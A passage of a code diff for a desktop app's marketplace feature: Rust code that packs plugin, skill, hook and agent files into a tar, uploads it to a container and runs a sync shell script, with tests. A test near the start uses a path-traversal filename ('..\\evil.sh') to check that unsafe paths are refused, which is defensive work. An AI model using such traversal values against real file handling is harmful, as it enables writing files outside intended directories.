+            .collect();
+        assert!(names.contains(&"..\\evil.sh".to_string()), "{names:?}");
+
+        let items = crate::marketplace::catalog::parse_catalog(&tree);
+        let skill = items.iter().find(|i| i.key == "s").unwrap();
+        assert!(skill.invalid.is_some(), "{skill:?}");
+        let ok = items.iter().find(|i| i.key == "ok").unwrap();
+        assert!(ok.invalid.is_none(), "{ok:?}");
+    }
+}

app/src-tauri/src/marketplace/payload.rs

@@ -0,0 +1,561 @@
+//! Builds the tar a project's container receives: every effective install's
+//! files, read from the cache at its pinned commit, plus `manifest.json` and a
+//! generated Claude Code catalog per marketplace that contributes plugins.
+//! Layout: see the Interface Contract in the plan / spec §4. The tar carries
+//! no directory entries — the sync script's extraction (plus its umask)
+//! creates them.
+
+use std::collections::{BTreeMap, BTreeSet};
+use std::path::Path;
+
+use serde_json::{json, Value};
+
+use super::catalog::{item_files, plugin_catalog_entry, rendered_hook_settings, ItemFile};
+use super::git;
+use super::tree::GitTree;
+use crate::models::marketplace::{
+    is_valid_commit, is_valid_item_key, marketplace_slug, ItemKind, Marketplace,
+    MarketplaceInstall, SkippedItem,
+};
+
+pub struct PayloadInput<'a> {
+    pub installs: &'a [MarketplaceInstall],
+    pub marketplaces: &'a [Marketplace],
+    /// data root used to find caches (see git::cache_path)
+    pub data_root: &'a Path,
+}
+
+pub struct Payload {
+    pub tar: Vec<u8>,
+    pub manifest: Value,
+    pub skipped: Vec<SkippedItem>,
+}
+
+/// A relative path from `item_files` is joined under a directory we chose, so
+/// it must not be able to climb out of it. The catalog already refuses such
+/// entries; this is the second line.
+fn safe_rel(rel: &str) -> bool {
+    !rel.is_empty()
+        && !rel.starts_with('/')
+        && !rel.contains('\\')
+        && rel
+            .split('/')
+            .all(|seg| !seg.is_empty() && seg != "." && seg != "..")
+}
+
+struct TarWriter {
+    builder: tar::Builder<Vec<u8>>,
+    mtime: u64,
+}
+
+impl TarWriter {
+    fn new() -> Self {
+        let mtime = std::time::SystemTime::now()
+            .duration_since(std::time::UNIX_EPOCH)
+            .map(|d| d.as_secs())
+            .unwrap_or(0);
+        Self {
+            builder: tar::Builder::new(Vec::new()),
+            mtime,
+        }
+    }
+
+    fn file(&mut self, path: &str, data: &[u8], executable: bool) -> Result<(), String> {
+        let mut header = tar::Header::new_gnu();
+        header.set_size(data.len() as u64);
+        header.set_mode(if executable { 0o755 } else { 0o644 });
+        header.set_mtime(self.mtime);
+        header.set_entry_type(tar::EntryType::Regular);
+        self.builder
+            .append_data(&mut header, path, data)
+            .map_err(|e| format!("Could not add {path} to the marketplace payload: {e}"))
+    }
+
+    fn finish(self) -> Result<Vec<u8>, String> {
+        self.builder
+            .into_inner()
+            .map_err(|e| format!("Could not finish the marketplace payload: {e}"))
+    }
+}
+
+struct PluginGroup {
+    entries: Vec<Value>,
+    keys: Vec<String>,
+}
+
+/// Files of one install, validated for use as payload paths.
+fn install_files(
+    repo: &Path,
+    inst: &MarketplaceInstall,
+) -> Result<(GitTree, Vec<ItemFile>), String> {
+    let tree = GitTree::open(repo, &inst.commit)?;
+    let files = item_files(&tree, inst.kind, &inst.key)?;
+    if let Some(bad) = files.iter().find(|f| !safe_rel(&f.rel_path)) {
+        return Err(format!("contains an unsafe path ({})", bad.rel_path));
+    }
+    Ok((tree, files))
+}
+
+pub fn build_payload(input: &PayloadInput) -> Result<Payload, String> {
+    let mut tar = TarWriter::new();
+    let mut items: Vec<Value> = Vec::new();
+    let mut skipped: Vec<SkippedItem> = Vec::new();
+    // State ids (see sync.sh) of installs the host could not build this time:
+    // the container keeps what it has for them instead of treating them as
+    // deselected (final review M3). Only a removed source really removes.
+    let mut held: BTreeSet<String> = BTreeSet::new();
+    let mut plugin_groups: BTreeMap<String, PluginGroup> = BTreeMap::new();
+    // Non-plugin items share one namespace in ~/.claude; plugins are namespaced
+    // by their per-marketplace catalog, so they never collide.
+    let mut taken: BTreeSet<(ItemKind, String)> = BTreeSet::new();
+
+    for inst in input.installs {
+        let label = format!("{}:{}", inst.kind.as_str(), inst.key);
+        let mut skip = |reason: String| {
+            skipped.push(SkippedItem {
+                item: label.clone(),
+                reason,
+            })
+        };
+
+        let Some(m) = input
+            .marketplaces
+            .iter()
+            .find(|m| m.id == inst.marketplace_id)
+        else {
+            skip("its marketplace has been removed".to_string());
+            continue;
+        };
+        let state_id = match inst.kind {
+            ItemKind::Plugin => format!("plugin:{}/{}", marketplace_slug(&m.id), inst.key),
+            _ => label.clone(),
+        };
+        let mut hold = |reason: String| {
+            held.insert(state_id.clone());
+            skip(reason)
+        };
+        if !is_valid_item_key(&inst.key) {
+            skip("the saved install entry is invalid".to_string());
+            continue;
+        }
+        if !is_valid_commit(&inst.commit) {
+            hold("the saved install entry is invalid".to_string());
+            continue;
+        }
+        if inst.kind != ItemKind::Plugin && taken.contains(&(inst.kind, inst.key.clone())) {
+            skip(format!(
+                "another marketplace's {label} is already installed"
+            ));
+            continue;
+        }
+        let repo = git::cache_path(input.data_root, &m.id);
+        if !git::has_commit(&repo, &inst.commit) {
+            hold(format!(
+                "pinned commit {} is not in the local cache of \"{}\" — refresh the marketplace",
+                &inst.commit[..8],
+                m.name
+            ));
+            continue;
+        }
+        let (tree, files) = match install_files(&repo, inst) {
+            Ok(v) => v,
+            Err(e) => {
+                hold(e);
+                continue;
+            }
+        };
+
+        let key = &inst.key;
+        let mut item = json!({
+            "kind": inst.kind.as_str(),
+            "key": key,
+            "marketplace": m.id,
+            "commit": inst.commit,
+        });
+        match inst.kind {
+            ItemKind::Agent | ItemKind::Command => {
+                let dir = if inst.kind == ItemKind::Agent {
+                    "agents"
+                } else {
+                    "commands"
+                };
+                let Some(f) = files.first() else {
+                    hold("has no files".to_string());
+                    continue;
+                };
+                let path = format!("{dir}/{key}.md");
+                tar.file(&path, &f.data, false)?;
+                item["file"] = json!(path);
+            }
+            ItemKind::Skill | ItemKind::Hook => {
+                let dir = if inst.kind == ItemKind::Skill {
+                    format!("skills/{key}")
+                } else {
+                    format!("hooks/{key}")
+                };
+                if inst.kind == ItemKind::Hook {
+                    match rendered_hook_settings(&tree, key) {
+                        Ok(settings) => item["settings"] = settings,
+                        Err(e) => {
+                            hold(e);
+                            continue;
+                        }
+                    }
+                }
+                for f in &files {
+                    tar.file(&format!("{dir}/{}", f.rel_path), &f.data, f.executable)?;
+                }
+                item["dir"] = json!(dir);
+            }
+            ItemKind::Plugin => {
+                let mut entry = match plugin_catalog_entry(&tree, key) {
+                    Ok(e) => e,
+                    Err(e) => {
+                        hold(e);
+                        continue;
+                    }
+                };
+                entry["source"] = json!(format!("./{key}"));
+                let slug = marketplace_slug(&m.id);
+                for f in &files {
+                    tar.file(
+                        &format!("plugins/{slug}/{key}/{}", f.rel_path),
+                        &f.data,
+                        f.executable,
+                    )?;
+                }
+                let group = plugin_groups
+                    .entry(slug.clone())
+                    .or_insert_with(|| PluginGroup {
+                        entries: Vec::new(),
+                        keys: Vec::new(),
+                    });
+                group.entries.push(entry);
+                group.keys.push(key.clone());
+                item["slug"] = json!(slug);
+            }
+        }
+        if inst.kind != ItemKind::Plugin {
+            taken.insert((inst.kind, key.clone()));
+        }
+        items.push(item);
+    }
+
+    let mut plugin_marketplaces = Vec::new();
+    for (slug, group) in plugin_groups {
+        let catalog = json!({
+            "name": format!("triple-c-{slug}"),
+            "owner": { "name": "Triple-C" },
+            "plugins": group.entries,
+        });
+        let bytes = serde_json::to_vec_pretty(&catalog).map_err(|e| e.to_string())?;
+        tar.file(
+            &format!("plugins/{slug}/.claude-plugin/marketplace.json"),
+            &bytes,
+            false,
+        )?;
+        plugin_marketplaces
+            .push(json!({ "slug": slug, "dir": format!("plugins/{slug}"), "plugins": group.keys }));
+    }
+
+    let manifest = json!({
+        "version": 1,
+        "items": items,
+        "plugin_marketplaces": plugin_marketplaces,
+        "held": held,
+    });
+    let bytes = serde_json::to_vec_pretty(&manifest).map_err(|e| e.to_string())?;
+    tar.file("manifest.json", &bytes, false)?;
+
+    Ok(Payload {
+        tar: tar.finish()?,
+        manifest,
+        skipped,
+    })
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use crate::marketplace::test_support::GitFixture;
+    use std::collections::HashMap;
+    use std::io::Read;
+
+    struct Entry {
+        data: Vec<u8>,
+        mode: u32,
+    }
+
+    fn unpack(tar_bytes: &[u8]) -> HashMap<String, Entry> {
+        let mut archive = tar::Archive::new(tar_bytes);
+        let mut out = HashMap::new();
+        for e in archive.entries().unwrap() {
+            let mut e = e.unwrap();
+            let path = e.path().unwrap().to_string_lossy().into_owned();
+            let mode = e.header().mode().unwrap();
+            let mut data = Vec::new();
+            e.read_to_end(&mut data).unwrap();
+            out.insert(path, Entry { data, mode });
+        }
+        out
+    }
+
+    fn market(id: &str) -> Marketplace {
+        Marketplace {
+            id: id.into(),
+            name: "Team Tools".into(),
+            url: "https://example.invalid/r.git".into(),
+            branch: None,
+            account_id: None,
+        }
+    }
+
+    fn inst(kind: ItemKind, key: &str, commit: &str) -> MarketplaceInstall {
+        MarketplaceInstall {
+            marketplace_id: "m1aaaaaaaa".into(),
+            kind,
+            key: key.into(),
+            commit: commit.into(),
+        }
+    }
+
+    /// Fetch the fixture into `<data>/marketplaces/m1aaaaaaaa.git`.
+    fn cache(fx: &GitFixture, data: &Path) {
+        let repo = git::cache_path(data, "m1aaaaaaaa");
+        git::fetch(&repo, &fx.url(), None, None).unwrap();
+    }
+
+    #[test]
+    fn every_kind_lands_at_its_contract_path() {
+        let Some(fx) = GitFixture::new() else { return };
+        let c = fx.with_all_kinds();
+        let data = tempfile::tempdir().unwrap();
+        cache(&fx, data.path());
+        let installs = vec![
+            inst(ItemKind::Agent, "code-reviewer", &c),
+            inst(ItemKind::Skill, "example-skill", &c),
+            inst(ItemKind::Command, "example-command", &c),
+            inst(ItemKind::Hook, "notify-on-stop", &c),
+            inst(ItemKind::Plugin, "example-plugin", &c),
+        ];
+        let marketplaces = vec![market("m1aaaaaaaa")];
+        let p = build_payload(&PayloadInput {
+            installs: &installs,
+            marketplaces: &marketplaces,
+            data_root: data.path(),
+        })
+        .unwrap();
+
+        assert!(p.skipped.is_empty(), "{:?}", p.skipped);
+        let files = unpack(&p.tar);
+        let slug = marketplace_slug("m1aaaaaaaa");
+        for path in [
+            "agents/code-reviewer.md".to_string(),
+            "skills/example-skill/SKILL.md".to_string(),
+            "commands/example-command.md".to_string(),
+            "hooks/notify-on-stop/hook.json".to_string(),
+            "hooks/notify-on-stop/notify.sh".to_string(),
+            format!("plugins/{slug}/.claude-plugin/marketplace.json"),
+            format!("plugins/{slug}/example-plugin/.claude-plugin/plugin.json"),
+            format!("plugins/{slug}/example-plugin/skills/hello/SKILL.md"),
+            "manifest.json".to_string(),
+        ] {
+            assert!(
+                files.contains_key(&path),
+                "missing {path}; have {:?}",
+                files.keys().collect::<Vec<_>>()
+            );
+        }
+        assert_eq!(files["hooks/notify-on-stop/notify.sh"].mode & 0o777, 0o755);
+        assert_eq!(files["agents/code-reviewer.md"].mode & 0o777, 0o644);
+    }
+
+    #[test]
+    fn manifest_and_generated_catalog_match_the_contract() {
+        let Some(fx) = GitFixture::new() else { return };
+        let c = fx.with_all_kinds();
+        let data = tempfile::tempdir().unwrap();
+        cache(&fx, data.path());
+        let installs = vec![
+            inst(ItemKind::Hook, "notify-on-stop", &c),
+            inst(ItemKind::Plugin, "example-plugin", &c),
+        ];
+        let marketplaces = vec![market("m1aaaaaaaa")];
+        let p = build_payload(&PayloadInput {
+            installs: &installs,
+            marketplaces: &marketplaces,
+            data_root: data.path(),
+        })
+        .unwrap();
+        let slug = marketplace_slug("m1aaaaaaaa");
+
+        let files = unpack(&p.tar);
+        let manifest: Value = serde_json::from_slice(&files["manifest.json"].data).unwrap();
+        assert_eq!(manifest, p.manifest);
+        assert_eq!(manifest["version"], 1);
+        let hook = &manifest["items"][0];
+        assert_eq!(hook["kind"], "hook");
+        assert_eq!(hook["dir"], "hooks/notify-on-stop");
+        assert_eq!(
+            hook["settings"]["Stop"][0]["hooks"][0]["command"],
+            "/home/claude/.claude/triple-c/hooks/notify-on-stop/notify.sh"
+        );
+        let plugin = &manifest["items"][1];
+        assert_eq!(plugin["kind"], "plugin");
+        assert_eq!(plugin["slug"], slug.as_str());
+        assert_eq!(
+            manifest["plugin_marketplaces"],
+            json!([{ "slug": slug, "dir": format!("plugins/{slug}"), "plugins": ["example-plugin"] }])
+        );
+
+        let catalog: Value = serde_json::from_slice(
+            &files[&format!("plugins/{slug}/.claude-plugin/marketplace.json")].data,
+        )
+        .unwrap();
+        assert_eq!(catalog["name"], format!("triple-c-{slug}"));
+        assert_eq!(catalog["owner"]["name"], "Triple-C");
+        assert_eq!(catalog["plugins"][0]["name"], "example-plugin");
+        assert_eq!(catalog["plugins"][0]["source"], "./example-plugin");
+    }
+
+    /// Final review M4: the plugin marketplace name comes from the id, so a
+    /// rename never makes the container see a different marketplace.
+    #[test]
+    fn plugin_slug_survives_a_rename() {
+        let Some(fx) = GitFixture::new() else { return };
+        let c = fx.with_all_kinds();
+        let data = tempfile::tempdir().unwrap();
+        cache(&fx, data.path());
+        let installs = vec![inst(ItemKind::Plugin, "example-plugin", &c)];
+        let slug_named = |name: &str| {
+            let marketplaces = vec![Marketplace {
+                name: name.into(),
+                ..market("m1aaaaaaaa")
+            }];
+            let p = build_payload(&PayloadInput {
+                installs: &installs,
+                marketplaces: &marketplaces,
+                data_root: data.path(),
+            })
+            .unwrap();
+            p.manifest["items"][0]["slug"].as_str().unwrap().to_string()
+        };
+        assert_eq!(slug_named("Team Tools"), "mp-m1aaaaaa");
+        assert_eq!(slug_named("Renamed"), "mp-m1aaaaaa");
+    }
+
+    #[test]
+    fn items_that_cannot_be_built_are_skipped_not_fatal() {
+        let Some(fx) = GitFixture::new() else { return };
+        let c = fx.with_all_kinds();
+        let data = tempfile::tempdir().unwrap();
+        cache(&fx, data.path());
+        let mut gone = inst(ItemKind::Agent, "code-reviewer", &c);
+        gone.marketplace_id = "removed".into();
+        let installs = vec![
+            gone,
+            inst(ItemKind::Agent, "code-reviewer", &"0".repeat(40)),
+            inst(ItemKind::Agent, "does-not-exist", &c),
+            inst(ItemKind::Command, "example-command", &c),
+        ];
+        let marketplaces = vec![market("m1aaaaaaaa")];
+        let p = build_payload(&PayloadInput {
+            installs: &installs,
+            marketplaces: &marketplaces,
+            data_root: data.path(),
+        })
+        .unwrap();
+
+        let skipped: Vec<&str> = p.skipped.iter().map(|s| s.item.as_str()).collect();
+        assert_eq!(
+            skipped,
+            vec![
+                "agent:code-reviewer",
+                "agent:code-reviewer",
+                "agent:does-not-exist"
+            ]
+        );
+        assert!(
+            p.skipped[0].reason.contains("marketplace"),
+            "{}",
+            p.skipped[0].reason
+        );
+        assert!(
+            p.skipped[1].reason.contains("cache"),
+            "{}",
+            p.skipped[1].reason
+        );
+        assert_eq!(p.manifest["items"].as_array().unwrap().len(), 1);
+        // Final review M3: host-side failures are held (the container keeps
+        // what it has); only a removed source really removes.
+        assert_eq!(
+            p.manifest["held"],
+            json!(["agent:code-reviewer", "agent:does-not-exist"])
+        );
+    }
+
+    #[test]
+    fn a_plugin_that_cannot_be_built_is_held_under_its_marketplace() {
+        let Some(fx) = GitFixture::new() else { return };
+        fx.with_all_kinds();
+        let data = tempfile::tempdir().unwrap();
+        cache(&fx, data.path());
+        let installs = vec![inst(ItemKind::Plugin, "example-plugin", &"0".repeat(40))];
+        let marketplaces = vec![market("m1aaaaaaaa")];
+        let p = build_payload(&PayloadInput {
+            installs: &installs,
+            marketplaces: &marketplaces,
+            data_root: data.path(),
+        })
+        .unwrap();
+        assert_eq!(p.skipped.len(), 1);
+        assert_eq!(
+            p.manifest["held"],
+            json!([format!(
+                "plugin:{}/example-plugin",
+                marketplace_slug("m1aaaaaaaa")
+            )])
+        );
+        assert_eq!(p.manifest["plugin_marketplaces"], json!([]));
+    }
+
+    #[test]
+    fn a_second_marketplace_cannot_shadow_an_installed_name() {
+        let Some(fx) = GitFixture::new() else { return };
+        let c = fx.with_all_kinds();
+        let data = tempfile::tempdir().unwrap();
+        cache(&fx, data.path());
+        let other = git::cache_path(data.path(), "m2bbbbbbbb");
+        git::fetch(&other, &fx.url(), None, None).unwrap();
+        let mut second = inst(ItemKind::Agent, "code-reviewer", &c);
+        second.marketplace_id = "m2bbbbbbbb".into();
+        let installs = vec![inst(ItemKind::Agent, "code-reviewer", &c), second];
+        let marketplaces = vec![market("m1aaaaaaaa"), market("m2bbbbbbbb")];
+        let p = build_payload(&PayloadInput {
+            installs: &installs,
+            marketplaces: &marketplaces,
+            data_root: data.path(),
+        })
+        .unwrap();
+        assert_eq!(p.manifest["items"].as_array().unwrap().len(), 1);
+        assert_eq!(p.skipped.len(), 1);
+        assert!(p.skipped[0].reason.contains("another marketplace"));
+        assert_eq!(p.manifest["held"], json!([]));
+    }
+
+    #[test]
+    fn an_empty_install_set_still_yields_a_manifest() {
+        let data = tempfile::tempdir().unwrap();
+        let p = build_payload(&PayloadInput {
+            installs: &[],
+            marketplaces: &[],
+            data_root: data.path(),
+        })
+        .unwrap();
+        assert_eq!(
+            p.manifest,
+            json!({ "version": 1, "items": [], "plugin_marketplaces": [], "held": [] })
+        );
+        assert!(unpack(&p.tar).contains_key("manifest.json"));
+    }
+}

app/src-tauri/src/marketplace/sync.rs

@@ -0,0 +1,271 @@
+//! Pushes a project's marketplace payload into its container and runs the
+//! sync script there (spec §4).
+
+use std::time::Duration;
+
+use super::payload::Payload;
+use crate::host::ContainerTarget;
+use crate::models::marketplace::{SkippedItem, SyncReport};
+
+/// Where the payload and the script are uploaded. Owned by `claude`.
+pub const INCOMING_DIR: &str = "/home/claude/.claude/triple-c/marketplace/incoming";
+
+/// The sync script. Shipped with the app and uploaded on every sync, so a new
+/// app version reaches existing containers without an image migration.
+pub const SYNC_SCRIPT: &str = include_str!("sync.sh");
+
+/// True once the entrypoint has finished: its last step starts a process with
+/// one of these exact command lines. Before that it may still be merging
+/// `settings.json` or running `claude update`, both of which the sync would race.
+///
+/// Two, because there are two generations of entrypoint in the field. Current
+/// images keep the container alive with a root-owned `triple-c-keepalive`
+/// sleep (so a `pkill sleep` run as `claude` cannot stop the container — see
+/// the end of `container/entrypoint.sh`); older ones `exec su … claude -c exec
+/// sleep infinity`, and a project keeps its base image until it is migrated.
+/// Both are matched as root-owned only (the old image's `su` runs as root), so
+/// a `claude` process wearing either command line cannot fake readiness.
+const READY_PROBE: &str = "pgrep -u root -x -f 'triple-c-keepalive infinity' >/dev/null \
+                           || pgrep -u root -x -f 'su -s /bin/bash claude -c exec sleep infinity' >/dev/null";
+const READY_TIMEOUT: Duration = Duration::from_secs(180);
+const READY_POLL: Duration = Duration::from_secs(2);
+
+/// Run as root: `~/.claude` is a volume and `triple-c/` may not exist yet, and
+/// the uploads below are root-owned files in a directory `claude` must own so
+/// the script can delete them.
+const PREPARE_SCRIPT: &str = r#"set -e
+d=/home/claude/.claude/triple-c/marketplace/incoming
+mkdir -p "$d"
+chown -R claude:claude /home/claude/.claude/triple-c
+rm -f "$d/payload.tar" "$d/sync.sh""#;
+
+fn sh(script: &str) -> Vec<String> {
+    vec!["sh".to_string(), "-c".to_string(), script.to_string()]
+}
+
+/// The readiness probe, run as root.
+fn ready_probe_cmd() -> Vec<String> {
+    sh(READY_PROBE)
+}
+
+/// The sync script invocation, run as `claude`.
+fn run_script_cmd() -> Vec<String> {
+    vec!["sh".to_string(), format!("{INCOMING_DIR}/sync.sh")]
+}
+
+fn run_script_env() -> Vec<String> {
+    vec!["HOME=/home/claude".to_string()]
+}
+
+async fn wait_until_ready(target: &ContainerTarget) -> Result<(), String> {
+    let deadline = tokio::time::Instant::now() + READY_TIMEOUT;
+    loop {
+        let (_, code) = target
+            .exec_oneshot_as("root", ready_probe_cmd(), vec![])
+            .await?;
+        if code == 0 {
+            return Ok(());
+        }
+        if tokio::time::Instant::now() >= deadline {
+            return Err(format!(
+                "The container did not finish starting within {} seconds, so marketplace items \
+                 were not applied. They are applied on the next start, or with Apply now.",
+                READY_TIMEOUT.as_secs()
+            ));
+        }
+        tokio::time::sleep(READY_POLL).await;
+    }
+}
+
+/// The last `max` bytes of `text`, trimmed, never splitting a character.
+fn tail(text: &str, max: usize) -> &str {
+    let text = text.trim();
+    if text.len() <= max {
+        return text;
+    }
+    let mut start = text.len() - max;
+    while !text.is_char_boundary(start) {
+        start += 1;
+    }
+    &text[start..]
+}
+
+/// Wait for readiness, upload the payload and the script, run the script as
+/// `claude`, and return its report.
+pub async fn sync_container(
+    target: &ContainerTarget,
+    payload: &Payload,
+) -> Result<SyncReport, String> {
+    wait_until_ready(target).await?;
+
+    let (out, code) = target
+        .exec_oneshot_as("root", sh(PREPARE_SCRIPT), vec![])
+        .await?;
+    if code != 0 {
+        return Err(format!(
+            "Could not prepare the container for the marketplace sync: {}",
+            tail(&out, 500)
+        ));
+    }
+    target
+        .upload_bytes(INCOMING_DIR, "payload.tar", &payload.tar, 0o644)
+        .await?;
+    target
+        .upload_bytes(INCOMING_DIR, "sync.sh", SYNC_SCRIPT.as_bytes(), 0o755)
+        .await?;
+
+    let (stdout, stderr, code) = target
+        .exec_oneshot_streams_as("claude", run_script_cmd(), run_script_env())
+        .await?;
+    parse_report(&stdout).map_err(|e| {
+        format!(
+            "The marketplace sync script failed (exit {code}): {e}. {}",
+            tail(&stderr, 500)
+        )
+    })
+}
+
+/// The script's report is the last non-empty line of stdout.
+pub fn parse_report(stdout: &str) -> Result<SyncReport, String> {
+    let line = stdout
+        .lines()
+        .rev()
+        .map(str::trim)
+        .find(|l| !l.is_empty())
+        .ok_or_else(|| "the sync script printed no report".to_string())?;
+    serde_json::from_str(line)
+        .map_err(|e| format!("the sync script's report could not be read: {e}"))
+}
+
+/// A sync never fails its caller: an error becomes a report that says so.
+pub fn report_from_result(r: Result<SyncReport, String>) -> SyncReport {
+    let mut report = match r {
+        Ok(report) => report,
+        Err(e) => SyncReport {
+            errors: vec![e],
+            ..Default::default()
+        },
+    };
+    report.finished_at = chrono::Utc::now().to_rfc3339();
+    report
+}
+
+/// Items the host left out of the payload (invalid, missing from the cache, …)
+/// never reach the script, so the stored report lists them ahead of its own.
+pub fn with_payload_skips(mut report: SyncReport, payload_skipped: &[SkippedItem]) -> SyncReport {
+    let mut skipped = payload_skipped.to_vec();
+    skipped.append(&mut report.skipped);
+    report.skipped = skipped;
+    report
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn the_report_is_the_last_non_empty_stdout_line() {
+        let out = "noise\n{\"installed\":[\"agent:a\"],\"errors\":[]}\n\n";
+        let r = parse_report(out).unwrap();
+        assert_eq!(r.installed, vec!["agent:a"]);
+        assert!(r.skipped.is_empty());
+    }
+
+    #[test]
+    fn missing_or_garbled_reports_are_errors() {
+        assert!(parse_report("").unwrap_err().contains("no report"));
+        assert!(parse_report("not json\n")
+            .unwrap_err()
+            .contains("could not be read"));
+    }
+
+    #[test]
+    fn a_failed_sync_becomes_a_report() {
+        // A failed sync becomes a report with the error in it — never an Err
+        // that could propagate into container start.
+        let r = report_from_result(Err("container went away".into()));
+        assert_eq!(r.errors, vec!["container went away"]);
+        assert!(!r.finished_at.is_empty());
+
+        let ok = report_from_result(Ok(SyncReport {
+            installed: vec!["hook:h".into()],
+            ..Default::default()
+        }));
+        assert_eq!(ok.installed, vec!["hook:h"]);
+        assert!(chrono::DateTime::parse_from_rfc3339(&ok.finished_at).is_ok());
+    }
+
+    #[test]
+    fn the_embedded_script_is_the_sync_script() {
+        assert!(SYNC_SCRIPT.starts_with("#!/bin/sh"));
+        assert!(SYNC_SCRIPT.contains("MARKETPLACE_INCOMING"));
+    }
+
+    #[test]
+    fn readiness_probes_the_entrypoints_final_exec() {
+        // Both generations of entrypoint: a project keeps the base image it
+        // was built from until it migrates, so the old `su … sleep` ending is
+        // the common case for years and must still read as ready.
+        assert_eq!(
+            ready_probe_cmd(),
+            vec![
+                "sh",
+                "-c",
+                "pgrep -u root -x -f 'triple-c-keepalive infinity' >/dev/null \
+                 || pgrep -u root -x -f 'su -s /bin/bash claude -c exec sleep infinity' >/dev/null"
+            ]
+        );
+        // The marker name is shared with the entrypoint; a rename on one side
+        // only would leave every new container "not ready" for 180 s.
+        let entrypoint = include_str!("../../../../container/entrypoint.sh");
+        assert!(entrypoint.contains("exec -a triple-c-keepalive sleep infinity"));
+        assert_eq!(READY_POLL, Duration::from_secs(2));
+        assert_eq!(READY_TIMEOUT, Duration::from_secs(180));
+    }
+
+    #[test]
+    fn the_incoming_dir_is_prepared_for_claude() {
+        // The uploads are root-owned, so the directory must exist and belong
+        // to claude before they land (claude extracts and deletes them).
+        assert!(PREPARE_SCRIPT.contains(INCOMING_DIR));
+        assert!(PREPARE_SCRIPT.contains("mkdir -p"));
+        assert!(PREPARE_SCRIPT.contains("chown -R claude:claude /home/claude/.claude/triple-c"));
+    }
+
+    #[test]
+    fn the_script_runs_as_claude_with_home_set() {
+        assert_eq!(
+            run_script_cmd(),
+            vec!["sh".to_string(), format!("{INCOMING_DIR}/sync.sh")]
+        );
+        assert_eq!(run_script_env(), vec!["HOME=/home/claude"]);
+    }
+
+    #[test]
+    fn payload_skips_come_before_the_scripts_own() {
+        use crate::models::marketplace::SkippedItem;
+        let payload_skip = SkippedItem {
+            item: "agent:a".into(),
+            reason: "invalid".into(),
+        };
+        let script_skip = SkippedItem {
+            item: "hook:h".into(),
+            reason: "no jq".into(),
+        };
+        let report = SyncReport {
+            skipped: vec![script_skip.clone()],
+            ..Default::default()
+        };
+        let merged = with_payload_skips(report, std::slice::from_ref(&payload_skip));
+        assert_eq!(merged.skipped, vec![payload_skip, script_skip]);
+    }
+
+    #[test]
+    fn long_output_is_tailed_on_a_char_boundary() {
+        assert_eq!(tail("  short \n", 10), "short");
+        let s = format!("{}é", "x".repeat(20));
+        let t = tail(&s, 1);
+        assert!(s.ends_with(t));
+        assert!(t.len() <= 2);
+    }
+}

app/src-tauri/src/marketplace/sync.sh

@@ -0,0 +1,467 @@
+#!/bin/sh
+# Messages name paths as the user sees them ("~/.claude/..."), deliberately.
+# shellcheck disable=SC2088
+# Triple-C marketplace sync: applies the payload the app uploaded.
+#
+# A constant script, shipped inside the app and uploaded next to the payload on
+# every sync. Nothing is ever interpolated into it: its only inputs are the
+# files under $MARKETPLACE_INCOMING (written by the host) and $HOME. Item keys
+# and slugs are re-validated here although the host validated them, and every
+# destination path is derived from them rather than taken from the manifest.
+#
+# Progress and tool output go to stderr. stdout carries exactly one line: the
+# JSON report. Exit status is 0 unless HOME is unset; per-item failures are
+# reported, never fatal.
+set -u
+
+if [ -z "${HOME:-}" ]; then
+  echo "triple-c-marketplace-sync: HOME is not set" >&2
+  exit 2
+fi
+PATH="$HOME/.claude/bin:$HOME/.local/bin:$PATH"
+export PATH
+
+CLAUDE_DIR="$HOME/.claude"
+BASE="$CLAUDE_DIR/triple-c"
+INCOMING="${MARKETPLACE_INCOMING:-$BASE/marketplace/incoming}"
+LOCK="${MARKETPLACE_LOCK:-/tmp/.triple-c-claude-update.lock}"
+STATE="$BASE/marketplace/state.json"
+WORK="$BASE/marketplace/work"
+SETTINGS="$CLAUDE_DIR/settings.json"
+TAB=$(printf '\t')
+
+if ! command -v jq >/dev/null 2>&1; then
+  printf '%s\n' '{"errors":["jq is not installed in this container, so marketplace items were not applied"]}'
+  exit 0
+fi
+
+R=$(mktemp -d 2>/dev/null) || R=""
+if [ -z "$R" ] || [ ! -d "$R" ]; then
+  printf '%s\n' '{"errors":["a temporary directory could not be created in the container, so marketplace items were not applied"]}'
+  exit 0
+fi
+trap 'rm -rf "$R"' EXIT
+for f in installed updated removed skipped errors newstate new_slugs final_slugs \
+  hook_pending hook_removals plugin_items; do
+  : >"$R/$f"
+done
+
+report() { printf '%s\n' "$2" >>"$R/$1"; }
+skip() { printf '%s\t%s\n' "$1" "$2" >>"$R/skipped"; }
+fail() { printf '%s\n' "$1" >>"$R/errors"; }
+record() { printf '%s\t%s\n' "$1" "$2" >>"$R/newstate"; }
+
+emit_report() {
+  jq -cn \
+    --rawfile i "$R/installed" --rawfile u "$R/updated" --rawfile d "$R/removed" \
+    --rawfile s "$R/skipped" --rawfile e "$R/errors" '
+    def lines: split("\n") | map(select(length > 0));
+    { installed: ($i | lines), updated: ($u | lines), removed: ($d | lines),
+      skipped: ($s | lines | map(split("\t") | { item: .[0], reason: (.[1:] | join("\t")) })),
+      errors: ($e | lines) }'
+}
+
+valid_key() {
+  case "$1" in
+    '' | [!A-Za-z0-9]* | *[!A-Za-z0-9._-]*) return 1 ;;
+  esac
+  [ "${#1}" -le 64 ]
+}
+
+valid_slug() {
+  case "$1" in
+    '' | -* | *[!a-z0-9-]*) return 1 ;;
+  esac
+  [ "${#1}" -le 64 ]
+}
+
+valid_commit() {
+  case "$1" in
+    '' | *[!0-9a-f]*) return 1 ;;
+  esac
+  [ "${#1}" -eq 40 ]
+}
+
+# Run `claude` serialised with the entrypoint's and every session's
+# `claude update`, which rewrite ~/.claude/bin under the same lock.
+claude_cmd() {
+  if command -v flock >/dev/null 2>&1; then
+    flock -w 120 "$LOCK" claude "$@" </dev/null >&2
+  else
+    claude "$@" </dev/null >&2
+  fi
+}
+
+# State ids are "<kind>:<key>", except plugins: "plugin:<slug>/<key>", since
+# two marketplaces may ship a plugin of the same name. Reports keep
+# "<kind>:<key>" for every kind. $OLD is the state as read at the start
+# (legacy "plugin:<key>" records migrated); $STATE is written once, at the end.
+OLD="$R/state.json"
+owned() { jq -e --arg id "$1" '.items | has($id)' "$OLD" >/dev/null 2>&1; }
+prev_commit() { jq -r --arg id "$1" '.items[$id].commit // ""' "$OLD"; }
